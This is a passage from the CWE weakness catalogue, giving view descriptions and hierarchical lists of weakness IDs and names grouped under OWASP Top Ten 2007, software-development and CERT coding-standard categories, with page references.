This view organizes weaknesses around concepts that are frequently used or encountered in hardware design. Accordingly, this view can align closely with the perspectives of designers, manufacturers, educators, and assessment vendors. It provides a variety of categories that are intended to simplify navigation, browsing, and mapping.

## Audience

### Hardware Designers

Hardware Designers use this view to better understand potential mistakes that can be made in specific areas of their IP design. The use of concepts with which hardware designers are familiar makes it easier to navigate.

### Educators

Educators use this view to teach future professionals about the types of mistakes that are commonly made in hardware design.

## Notes

**Other**

The top level categories in this view represent commonly understood areas/terms within hardware design, and are meant to aid the user in identifying potential related weaknesses. It is possible for the same weakness to exist within multiple different categories.

**Other**

This view attempts to present weaknesses in a simple and intuitive way. As such it targets a single level of abstraction. It is important to realize that not every CWE will be represented in this view. High-level class weaknesses and low-level variant weaknesses are mostly ignored. However, by exploring the weaknesses that are included, and following the defined relationships, one can find these higher and lower level weaknesses.

## View-1200: Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors

View ID : 1200

Status: Stable

Type : Graph

**Objective**

CWE entries in this view are listed in the 2019 CWE Top 25 Most Dangerous Software Errors.

**Audience****Software Developers**

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

**Product Customers**

If a software developer claims to be following the Top 25, then customers can use the weaknesses in this view in order to formulate independent evidence of that claim.

**Educators**

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

## Graph View: CWE-629: Weaknesses in OWASP Top Ten (2007)

- C** CWE-712: OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS) (p.1799)
  - B** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.151)
- C** CWE-713: OWASP Top Ten 2007 Category A2 - Injection Flaws (p.1799)
  - G** CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p.135)
  - B** CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.186)
  - B** CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p.197)
  - B** CWE-91: XML Injection (aka Blind XPath Injection) (p.199)
  - B** CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (p.201)
- C** CWE-714: OWASP Top Ten 2007 Category A3 - Malicious File Execution (p.1799)
  - B** CWE-434: Unrestricted Upload of File with Dangerous Type (p.934)
  - B** CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.140)
  - V** CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p.209)
  - V** CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p.217)
- C** CWE-715: OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference (p.1800)
  - B** CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.31)
  - B** CWE-472: External Control of Assumed-Immutable Web Parameter (p.999)
  - B** CWE-639: Authorization Bypass Through User-Controlled Key (p.1248)
- C** CWE-716: OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF) (p.1800)
  - B** CWE-352: Cross-Site Request Forgery (CSRF) (p.772)
- C** CWE-717: OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling (p.1801)
  - G** CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (p.465)
  - B** CWE-203: Observable Discrepancy (p.477)
  - B** CWE-209: Generation of Error Message Containing Sensitive Information (p.489)
  - B** CWE-215: Insertion of Sensitive Information Into Debugging Code (p.506)
- C** CWE-718: OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management (p.1801)
  - G** CWE-287: Improper Authentication (p.629)
  - V** CWE-301: Reflection Attack in an Authentication Protocol (p.665)
  - G** CWE-522: Insufficiently Protected Credentials (p.1089)
- C** CWE-719: OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage (p.1801)
  - G** CWE-311: Missing Encryption of Sensitive Data (p.685)
  - V** CWE-321: Use of Hard-coded Cryptographic Key (p.707)
  - B** CWE-325: Missing Required Cryptographic Step (p.715)
  - G** CWE-326: Inadequate Encryption Strength (p.717)
- C** CWE-720: OWASP Top Ten 2007 Category A9 - Insecure Communications (p.1802)
  - G** CWE-311: Missing Encryption of Sensitive Data (p.685)
  - V** CWE-321: Use of Hard-coded Cryptographic Key (p.707)
  - B** CWE-325: Missing Required Cryptographic Step (p.715)
  - G** CWE-326: Inadequate Encryption Strength (p.717)
- C** CWE-721: OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access (p.1802)
  - G** CWE-285: Improper Authorization (p.621)
  - B** CWE-288: Authentication Bypass Using an Alternate Path or Channel (p.635)
  - B** CWE-425: Direct Request ('Forced Browsing') (p.913)

## Graph View: **CWE-631: DEPRECATED: Resource-specific Weaknesses**

## Graph View: CWE-699: Software Development

- C** CWE-1228: API / Function Errors (*p.1946*)
  - B** CWE-242: Use of Inherently Dangerous Function (*p.535*)
  - B** CWE-474: Use of Function with Inconsistent Implementations (*p.1004*)
  - B** CWE-475: Undefined Behavior for Input to API (*p.1006*)
  - B** CWE-477: Use of Obsolete Function (*p.1013*)
  - B** CWE-676: Use of Potentially Dangerous Function (*p.1314*)
  - B** CWE-695: Use of Low-Level Functionality (*p.1344*)
  - B** CWE-749: Exposed Dangerous Method or Function (*p.1373*)
- C** CWE-1210: Audit / Logging Errors (*p.1939*)
  - B** CWE-117: Improper Output Neutralization for Logs (*p.266*)
  - B** CWE-222: Truncation of Security-relevant Information (*p.512*)
  - B** CWE-223: Omission of Security-relevant Information (*p.513*)
  - B** CWE-224: Obscured Security-relevant Information by Alternate Name (*p.514*)
  - B** CWE-532: Insertion of Sensitive Information into Log File (*p.1102*)
  - B** CWE-778: Insufficient Logging (*p.1440*)
  - B** CWE-779: Logging of Excessive Data (*p.1443*)
- C** CWE-1211: Authentication Errors (*p.1940*)
  - B** CWE-288: Authentication Bypass Using an Alternate Path or Channel (*p.635*)
  - B** CWE-290: Authentication Bypass by Spoofing (*p.638*)
  - B** CWE-294: Authentication Bypass by Capture-replay (*p.645*)
  - B** CWE-295: Improper Certificate Validation (*p.647*)
  - B** CWE-296: Improper Following of a Certificate's Chain of Trust (*p.652*)
  - B** CWE-299: Improper Check for Certificate Revocation (*p.660*)
  - B** CWE-303: Incorrect Implementation of Authentication Algorithm (*p.669*)
  - B** CWE-304: Missing Critical Step in Authentication (*p.670*)
  - B** CWE-305: Authentication Bypass by Primary Weakness (*p.671*)
  - B** CWE-306: Missing Authentication for Critical Function (*p.672*)
  - B** CWE-307: Improper Restriction of Excessive Authentication Attempts (*p.677*)
  - B** CWE-308: Use of Single-factor Authentication (*p.680*)
  - B** CWE-309: Use of Password System for Primary Authentication (*p.682*)
  - B** CWE-322: Key Exchange without Entity Authentication (*p.710*)
  - B** CWE-603: Use of Client-Side Authentication (*p.1201*)
  - B** CWE-645: Overly Restrictive Account Lockout Mechanism (*p.1264*)
  - B** CWE-804: Guessable CAPTCHA (*p.1492*)
  - B** CWE-836: Use of Password Hash Instead of Password for Authentication (*p.1545*)
- C** CWE-1212: Authorization Errors (*p.1941*)
  - B** CWE-425: Direct Request ('Forced Browsing') (*p.913*)
  - B** CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (*p.1122*)
  - B** CWE-612: Improper Authorization of Index Containing Sensitive Information (*p.1214*)
  - B** CWE-639: Authorization Bypass Through User-Controlled Key (*p.1248*)
  - B** CWE-939: Improper Authorization in Handler for Custom URL Scheme (*p.1610*)
  - B** CWE-842: Placement of User into Incorrect Group (*p.1558*)
  - B** CWE-1220: Insufficient Granularity of Access Control (*p.1730*)
- C** CWE-1006: Bad Coding Practices (*p.1890*)
  - B** CWE-478: Missing Default Case in Switch Statement (*p.1016*)
  - B** CWE-487: Reliance on Package-level Scope (*p.1036*)
  - B** CWE-489: Active Debug Code (*p.1040*)
  - V** CWE-546: Suspicious Comment (*p.1116*)
  - V** CWE-547: Use of Hard-coded, Security-relevant Constants (*p.1118*)
  - B** CWE-561: Dead Code (*p.1131*)
  - B** CWE-562: Return of Stack Variable Address (*p.1134*)
  - V** CWE-563: Assignment to Variable without Use (*p.1135*)
  - B** CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined (*p.1165*)

- V CWE-586: Explicit Call to Finalize() (p. 1172)
- B CWE-605: Multiple Binds to the Same Port (p. 1203)
- B CWE-621: Variable Extraction Error (p. 1228)
- B CWE-627: Dynamic Variable Evaluation (p. 1238)
- B CWE-628: Function Call with Incorrectly Specified Arguments (p. 1240)
- B CWE-694: Use of Multiple Resources with Duplicate Identifier (p. 1343)
- B CWE-1041: Use of Redundant Code (p. 1639)
- B CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements (p. 1641)
- B CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range (p. 1642)
- V CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor (p. 1643)
- B CWE-1046: Creation of Immutable Text Using String Concatenation (p. 1644)
- B CWE-1048: Invokable Control Element with Large Number of Outward Calls (p. 1646)
- B CWE-1049: Excessive Data Query Operations in a Large Data Table (p. 1647)
- B CWE-1050: Excessive Platform Resource Consumption within a Loop (p. 1648)
- B CWE-1063: Creation of Class Instance within a Static Code Block (p. 1660)
- B CWE-1065: Runtime Resource Management Control Element in a Component Built to Run on Application Servers (p. 1662)
- B CWE-1066: Missing Serialization Control Element (p. 1663)
- B CWE-1067: Excessive Execution of Sequential Searches of Data Resource (p. 1664)
- B CWE-1070: Serializable Data Element Containing non-Serializable Item Elements (p. 1667)
- B CWE-1071: Empty Code Block (p. 1668)
- B CWE-1072: Data Resource Access without Use of Connection Pooling (p. 1669)
- B CWE-1073: Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses (p. 1670)
- B CWE-1079: Parent Class without Virtual Destructor Method (p. 1676)
- B CWE-1082: Class Instance Self Destruction Control Element (p. 1678)
- B CWE-1084: Invokable Control Element with Excessive File or Data Access Operations (p. 1680)
- B CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code (p. 1681)
- B CWE-1087: Class with Virtual Method without a Virtual Destructor (p. 1683)
- B CWE-1089: Large Data Table with Excessive Number of Indices (p. 1685)
- B CWE-1091: Use of Object without Invoking Destructor Method (p. 1687)
- B CWE-1092: Use of Same Invokable Control Element in Multiple Architectural Layers (p. 1688)
- B CWE-1094: Excessive Index Range Scan for a Data Resource (p. 1690)
- B CWE-1097: Persistent Storable Data Element without Associated Comparison Control Element (p. 1692)
- V CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element (p. 1694)
- B CWE-1099: Inconsistent Naming Conventions for Identifiers (p. 1694)
- B CWE-1101: Reliance on Runtime Component in Generated Code (p. 1696)
- B CWE-1102: Reliance on Machine-Dependent Data Representation (p. 1697)
- B CWE-1103: Use of Platform-Dependent Third Party Components (p. 1698)
- B CWE-1104: Use of Unmaintained Third Party Components (p. 1698)
- B CWE-1106: Insufficient Use of Symbolic Constants (p. 1700)
- B CWE-1107: Insufficient Isolation of Symbolic Constant Definitions (p. 1701)
- B CWE-1108: Excessive Reliance on Global Variables (p. 1702)
- B CWE-1109: Use of Same Variable for Multiple Purposes (p. 1702)
- B CWE-1113: Inappropriate Comment Style (p. 1705)
- B CWE-1114: Inappropriate Whitespace Style (p. 1706)
- B CWE-1115: Source Code Element without Standard Prologue (p. 1707)
- B CWE-1116: Inaccurate Comments (p. 1707)
- B CWE-1117: Callable with Insufficient Behavioral Summary (p. 1708)
- B CWE-1126: Declaration of Variable with Unnecessarily Wide Scope (p. 1716)
- B CWE-1127: Compilation with Insufficient Warnings or Errors (p. 1716)
- B CWE-1235: Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations (p. 1749)

- C** CWE-438: Behavioral Problems (*p. 1795*)
  - B** CWE-115: Misinterpretation of Input (*p.258*)
  - B** CWE-179: Incorrect Behavior Order: Early Validation (*p.414*)
  - B** CWE-408: Incorrect Behavior Order: Early Amplification (*p.887*)
  - B** CWE-437: Incomplete Model of Endpoint Features (*p.945*)
  - B** CWE-439: Behavioral Change in New Version or Environment (*p.946*)
  - B** CWE-440: Expected Behavior Violation (*p.947*)
  - B** CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') (*p.951*)
  - B** CWE-480: Use of Incorrect Operator (*p. 1021*)
  - B** CWE-483: Incorrect Block Delimitation (*p. 1030*)
  - B** CWE-484: Omitted Break Statement in Switch (*p.1032*)
  - B** CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (*p. 1122*)
  - B** CWE-698: Execution After Redirect (EAR) (*p. 1350*)
  - B** CWE-733: Compiler Optimization Removal or Modification of Security-critical Code (*p. 1372*)
  - B** CWE-783: Operator Precedence Logic Error (*p. 1450*)
  - B** CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (*p. 1542*)
  - B** CWE-837: Improper Enforcement of a Single, Unique Action (*p. 1546*)
  - B** CWE-841: Improper Enforcement of Behavioral Workflow (*p. 1555*)
  - B** CWE-1025: Comparison Using Wrong Factors (*p. 1634*)
  - B** CWE-1037: Processor Optimization Removal or Modification of Security-critical Code (*p. 1635*)
- C** CWE-840: Business Logic Errors (*p. 1829*)
  - B** CWE-283: Unverified Ownership (*p.617*)
  - B** CWE-288: Authentication Bypass Using an Alternate Path or Channel (*p.635*)
  - B** CWE-639: Authorization Bypass Through User-Controlled Key (*p. 1248*)
  - B** CWE-640: Weak Password Recovery Mechanism for Forgotten Password (*p. 1250*)
  - B** CWE-708: Incorrect Ownership Assignment (*p. 1360*)
  - B** CWE-770: Allocation of Resources Without Limits or Throttling (*p. 1418*)
  - B** CWE-826: Premature Release of Resource During Expected Lifetime (*p. 1521*)
  - B** CWE-837: Improper Enforcement of a Single, Unique Action (*p. 1546*)
  - B** CWE-841: Improper Enforcement of Behavioral Workflow (*p. 1555*)
- C** CWE-417: Communication Channel Errors (*p. 1794*)
  - B** CWE-322: Key Exchange without Entity Authentication (*p. 710*)
  - B** CWE-346: Origin Validation Error (*p. 759*)
  - B** CWE-385: Covert Timing Channel (*p.840*)
  - B** CWE-419: Unprotected Primary Channel (*p.906*)
  - B** CWE-420: Unprotected Alternate Channel (*p.908*)
  - B** CWE-425: Direct Request ('Forced Browsing') (*p.913*)
  - B** CWE-515: Covert Storage Channel (*p. 1085*)
  - B** CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel (*p. 1601*)
  - B** CWE-940: Improper Verification of Source of a Communication Channel (*p. 1613*)
  - B** CWE-941: Incorrectly Specified Destination in a Communication Channel (*p. 1615*)
- C** CWE-1226: Complexity Issues (*p. 1945*)
  - B** CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements (*p. 1641*)
  - B** CWE-1047: Modules with Circular Dependencies (*p. 1645*)
  - B** CWE-1055: Multiple Inheritance from Concrete Classes (*p. 1653*)
  - B** CWE-1056: Invokable Control Element with Variadic Parameters (*p. 1654*)
  - B** CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses (*p. 1658*)
  - B** CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters (*p. 1661*)
  - B** CWE-1074: Class with Excessively Deep Inheritance (*p. 1671*)
  - B** CWE-1075: Unconditional Control Flow Transfer outside of Switch Block (*p. 1672*)
  - B** CWE-1080: Source Code File with Excessive Number of Lines of Code (*p. 1677*)
  - B** CWE-1086: Class with Excessive Number of Child Classes (*p. 1682*)

- B CWE-1095: Loop Condition Value Update within the Loop (p.1691)
- B CWE-1119: Excessive Use of Unconditional Branching (p.1710)
- B CWE-1121: Excessive McCabe Cyclomatic Complexity (p.1711)
- B CWE-1122: Excessive Halstead Complexity (p.1712)
- B CWE-1123: Excessive Use of Self-Modifying Code (p.1713)
- B CWE-1124: Excessively Deep Nesting (p.1714)
- B CWE-1125: Excessive Attack Surface (p.1715)
- C CWE-557: Concurrency Issues (p.1798)
  - B CWE-363: Race Condition Enabling Link Following (p.799)
  - B CWE-364: Signal Handler Race Condition (p.801)
  - B CWE-365: Race Condition in Switch (p.806)
  - B CWE-366: Race Condition within a Thread (p.808)
  - B CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (p.810)
  - B CWE-368: Context Switching Race Condition (p.814)
  - B CWE-386: Symbolic Name not Mapping to Correct Object (p.842)
  - B CWE-421: Race Condition During Access to Alternate Channel (p.909)
  - B CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context (p.1142)
  - B CWE-585: Empty Synchronized Block (p.1170)
  - B CWE-663: Use of a Non-reentrant Function in a Concurrent Context (p.1287)
  - B CWE-820: Missing Synchronization (p.1509)
  - B CWE-821: Incorrect Synchronization (p.1510)
  - B CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element (p.1656)
  - B CWE-1088: Synchronous Access of Remote Resource without Timeout (p.1684)
- C CWE-255: Credentials Management Errors (p.1784)
  - B CWE-256: Unprotected Storage of Credentials (p.561)
  - B CWE-257: Storing Passwords in a Recoverable Format (p.563)
  - B CWE-260: Password in Configuration File (p.572)
  - B CWE-261: Weak Encoding for Password (p.574)
  - B CWE-262: Not Using Password Aging (p.576)
  - B CWE-263: Password Aging with Long Expiration (p.578)
  - B CWE-324: Use of a Key Past its Expiration Date (p.713)
  - B CWE-521: Weak Password Requirements (p.1087)
  - B CWE-523: Unprotected Transport of Credentials (p.1093)
  - B CWE-549: Missing Password Field Masking (p.1120)
  - B CWE-620: Unverified Password Change (p.1226)
  - B CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p.1250)
  - B CWE-798: Use of Hard-coded Credentials (p.1483)
  - B CWE-916: Use of Password Hash With Insufficient Computational Effort (p.1590)
- C CWE-310: Cryptographic Issues (p.1787)
  - B CWE-261: Weak Encoding for Password (p.574)
  - B CWE-324: Use of a Key Past its Expiration Date (p.713)
  - B CWE-325: Missing Required Cryptographic Step (p.715)
  - B CWE-328: Reversible One-Way Hash (p.724)
  - B CWE-331: Insufficient Entropy (p.735)
  - B CWE-334: Small Space of Random Values (p.740)
  - B CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG) (p.742)
  - B CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) (p.747)
  - B CWE-347: Improper Verification of Cryptographic Signature (p.762)
  - B CWE-916: Use of Password Hash With Insufficient Computational Effort (p.1590)
  - B CWE-1240: Use of a Risky Cryptographic Primitive (p.1754)
- C CWE-1214: Data Integrity Issues (p.1942)
  - B CWE-322: Key Exchange without Entity Authentication (p.710)
  - B CWE-346: Origin Validation Error (p.759)

- B CWE-347: Improper Verification of Cryptographic Signature (p.762)
- B CWE-348: Use of Less Trusted Source (p.764)
- B CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data (p.766)
- B CWE-351: Insufficient Type Distinction (p.771)
- B CWE-353: Missing Support for Integrity Check (p.778)
- B CWE-354: Improper Validation of Integrity Check Value (p.780)
- B CWE-494: Download of Code Without Integrity Check (p.1053)
- B CWE-565: Reliance on Cookies without Validation and Integrity Checking (p.1138)
- B CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking (p.1270)
- B CWE-829: Inclusion of Functionality from Untrusted Control Sphere (p.1528)
- B CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel (p.1601)
- C CWE-19: Data Processing Errors (p.1778)
  - B CWE-130: Improper Handling of Length Parameter Inconsistency (p.320)
  - B CWE-166: Improper Handling of Missing Special Element (p.390)
  - B CWE-167: Improper Handling of Additional Special Element (p.392)
  - B CWE-168: Improper Handling of Inconsistent Special Elements (p.393)
  - B CWE-178: Improper Handling of Case Sensitivity (p.411)
  - B CWE-182: Collapse of Data into Unsafe Value (p.421)
  - B CWE-186: Overly Restrictive Regular Expression (p.431)
  - B CWE-229: Improper Handling of Values (p.520)
  - B CWE-233: Improper Handling of Parameters (p.524)
  - B CWE-237: Improper Handling of Structural Elements (p.530)
  - B CWE-241: Improper Handling of Unexpected Data Type (p.533)
  - B CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) (p.888)
  - B CWE-471: Modification of Assumed-Immutable Data (MAID) (p.998)
  - B CWE-472: External Control of Assumed-Immutable Web Parameter (p.999)
  - B CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p.1192)
  - B CWE-611: Improper Restriction of XML External Entity Reference (p.1212)
  - B CWE-624: Executable Regular Expression Error (p.1233)
  - B CWE-625: Permissive Regular Expression (p.1234)
  - B CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') (p.1436)
  - B CWE-1024: Comparison of Incompatible Types (p.1633)
- C CWE-137: Data Representation Errors (p.1779)
  - B CWE-76: Improper Neutralization of Equivalent Special Elements (p.134)
  - B CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.140)
  - B CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.151)
  - B CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (p.180)
  - B CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.186)
  - B CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p.197)
  - B CWE-91: XML Injection (aka Blind XPath Injection) (p.199)
  - B CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (p.201)
  - B CWE-94: Improper Control of Generation of Code ('Code Injection') (p.203)
  - B CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') (p.213)
  - B CWE-117: Improper Output Neutralization for Logs (p.266)
  - B CWE-140: Improper Neutralization of Delimiters (p.344)
  - B CWE-170: Improper Null Termination (p.395)
  - B CWE-188: Reliance on Data/Memory Layout (p.434)
  - B CWE-462: Duplicate Key in Associative List (Alist) (p.981)

- B CWE-463: Deletion of Data Structure Sentinel (p.983)
- B CWE-464: Addition of Data Structure Sentinel (p.984)
- B CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p.1260)
- B CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p.1275)
- B CWE-791: Incomplete Filtering of Special Elements (p.1474)
- B CWE-795: Only Filtering Special Elements at a Specified Location (p.1479)
- B CWE-838: Inappropriate Encoding for Output Context (p.1547)
- B CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') (p.1594)
- B CWE-1236: Improper Neutralization of Formula Elements in a CSV File (p.1751)
- C CWE-1225: Documentation Issues (p.1944)
  - B CWE-1053: Missing Documentation for Design (p.1651)
  - B CWE-1068: Inconsistency Between Implementation and Documented Design (p.1665)
  - B CWE-1110: Incomplete Design Documentation (p.1703)
  - B CWE-1111: Incomplete I/O Documentation (p.1704)
  - B CWE-1112: Incomplete Documentation of Program Execution (p.1705)
  - B CWE-1118: Insufficient Documentation of Error Handling Techniques (p.1709)
- C CWE-1219: File Handling Issues (p.1944)
  - B CWE-23: Relative Path Traversal (p.42)
  - B CWE-36: Absolute Path Traversal (p.69)
  - B CWE-41: Improper Resolution of Path Equivalence (p.80)
  - B CWE-59: Improper Link Resolution Before File Access ('Link Following') (p.105)
  - B CWE-66: Improper Handling of File Names that Identify Virtual Resources (p.117)
  - B CWE-378: Creation of Temporary File With Insecure Permissions (p.830)
  - B CWE-379: Creation of Temporary File in Directory with Insecure Permissions (p.832)
  - B CWE-426: Untrusted Search Path (p.916)
  - B CWE-427: Uncontrolled Search Path Element (p.921)
  - B CWE-428: Unquoted Search Path or Element (p.925)
- C CWE-1227: Encapsulation Issues (p.1945)
  - B CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer (p.1652)
  - B CWE-1057: Data Access Operations Outside of Expected Data Manager Component (p.1655)
  - B CWE-1062: Parent Class with References to Child Class (p.1659)
  - B CWE-1083: Data Access from Outside Expected Data Manager Component (p.1679)
  - B CWE-1090: Method Containing Access of a Member Element from Another Class (p.1686)
  - B CWE-1100: Insufficient Isolation of System-Dependent Functions (p.1695)
  - B CWE-1105: Insufficient Encapsulation of Machine-Dependent Functionality (p.1699)
- C CWE-389: Error Conditions, Return Values, Status Codes (p.1791)
  - B CWE-209: Generation of Error Message Containing Sensitive Information (p.489)
  - B CWE-248: Uncaught Exception (p.544)
  - B CWE-252: Unchecked Return Value (p.552)
  - B CWE-253: Incorrect Check of Function Return Value (p.559)
  - B CWE-390: Detection of Error Condition Without Action (p.844)
  - B CWE-391: Unchecked Error Condition (p.848)
  - B CWE-392: Missing Report of Error Condition (p.851)
  - B CWE-393: Return of Wrong Status Code (p.853)
  - B CWE-394: Unexpected Status Code or Return Value (p.854)
  - B CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference (p.856)
  - B CWE-396: Declaration of Catch for Generic Exception (p.858)
  - B CWE-397: Declaration of Throws for Generic Exception (p.860)
  - B CWE-544: Missing Standardized Error Handling Mechanism (p.1115)
  - B CWE-584: Return Inside Finally Block (p.1169)
  - B CWE-600: Uncaught Exception in Servlet (p.1191)
  - B CWE-617: Reachable Assertion (p.1221)
  - B CWE-756: Missing Custom Error Page (p.1387)

- B CWE-1069: Empty Exception Block (p.1666)
- C CWE-569: Expression Issues (p.1798)
  - B CWE-480: Use of Incorrect Operator (p.1021)
  - B CWE-570: Expression is Always False (p.1145)
  - B CWE-571: Expression is Always True (p.1148)
  - V CWE-588: Attempt to Access Child of a Non-structure Pointer (p.1175)
  - V CWE-595: Comparison of Object References Instead of Object Contents (p.1184)
  - B CWE-783: Operator Precedence Logic Error (p.1450)
- C CWE-429: Handler Errors (p.1794)
  - B CWE-430: Deployment of Wrong Handler (p.928)
  - B CWE-431: Missing Handler (p.929)
  - B CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations (p.931)
  - V CWE-433: Unparsed Raw Web Content Delivery (p.932)
  - B CWE-434: Unrestricted Upload of File with Dangerous Type (p.934)
  - V CWE-479: Signal Handler Use of a Non-reentrant Function (p.1019)
- C CWE-199: Information Management Errors (p.1781)
  - B CWE-201: Exposure of Sensitive Information Through Sent Data (p.473)
  - B CWE-204: Observable Response Discrepancy (p.481)
  - B CWE-205: Observable Behavioral Discrepancy (p.484)
  - B CWE-208: Observable Timing Discrepancy (p.488)
  - B CWE-209: Generation of Error Message Containing Sensitive Information (p.489)
  - B CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer (p.500)
  - B CWE-213: Exposure of Sensitive Information Due to Incompatible Policies (p.503)
  - B CWE-214: Invocation of Process Using Visible Sensitive Information (p.504)
  - B CWE-215: Insertion of Sensitive Information Into Debugging Code (p.506)
  - B CWE-312: Cleartext Storage of Sensitive Information (p.691)
  - B CWE-319: Cleartext Transmission of Sensitive Information (p.704)
  - B CWE-359: Exposure of Private Personal Information to an Unauthorized Actor (p.786)
  - B CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere (p.1060)
  - B CWE-524: Use of Cache Containing Sensitive Information (p.1094)
  - B CWE-532: Insertion of Sensitive Information into Log File (p.1102)
  - B CWE-540: Inclusion of Sensitive Information in Source Code (p.1111)
  - B CWE-921: Storage of Sensitive Data in a Mechanism without Access Control (p.1598)
  - B CWE-1230: Exposure of Sensitive Information Through Metadata (p.1741)
- C CWE-452: Initialization and Cleanup Errors (p.1796)
  - B CWE-226: Sensitive Information Uncleared in Resource Before Release for Reuse (p.516)
  - B CWE-454: External Initialization of Trusted Variables or Data Stores (p.966)
  - B CWE-455: Non-exit on Failed Initialization (p.968)
  - B CWE-459: Incomplete Cleanup (p.976)
  - B CWE-460: Improper Cleanup on Thrown Exception (p.979)
  - B CWE-1051: Initialization with Hard-Coded Network Resource Configuration Data (p.1649)
  - B CWE-1052: Excessive Use of Hard-Coded Literals in Initialization (p.1650)
  - B CWE-1188: Insecure Default Initialization of Resource (p.1721)

  - B CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (p.994)
  - B CWE-494: Download of Code Without Integrity Check (p.1053)
  - C CWE-732: Incorrect Permission Assignment for Critical Resource (p.1363)
  - B CWE-807: Reliance on Untrusted Inputs in a Security Decision (p.1503)
- C CWE-860: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 17 - Runtime Environment (ENV) (p.1838)
  - B CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data (p.766)
  - C CWE-732: Incorrect Permission Assignment for Critical Resource (p.1363)
- C CWE-861: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC) (p.1838)
  - V CWE-259: Use of Hard-coded Password (p.568)
  - C CWE-311: Missing Encryption of Sensitive Data (p.685)
  - C CWE-330: Use of Insufficiently Random Values (p.729)
  - V CWE-332: Insufficient Entropy in PRNG (p.737)
  - V CWE-333: Improper Handling of Insufficient Entropy in TRNG (p.738)
  - V CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG) (p.743)
  - V CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG) (p.745)
  - C CWE-400: Uncontrolled Resource Consumption (p.862)
  - V CWE-401: Missing Release of Memory after Effective Lifetime (p.870)
  - V CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p.1113)
  - B CWE-770: Allocation of Resources Without Limits or Throttling (p.1418)
  - B CWE-798: Use of Hard-coded Credentials (p.1483)

## Graph View: CWE-868: Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)

- C** CWE-869: CERT C++ Secure Coding Section 01 - Preprocessor (PRE) (p.1842)
- C** CWE-870: CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL) (p.1842)
- C** CWE-871: CERT C++ Secure Coding Section 03 - Expressions (EXP) (p.1842)
  - B** CWE-476: NULL Pointer Dereference (p.1007)
  - B** CWE-480: Use of Incorrect Operator (p.1021)
  - V** CWE-768: Incorrect Short Circuit Evaluation (p.1416)
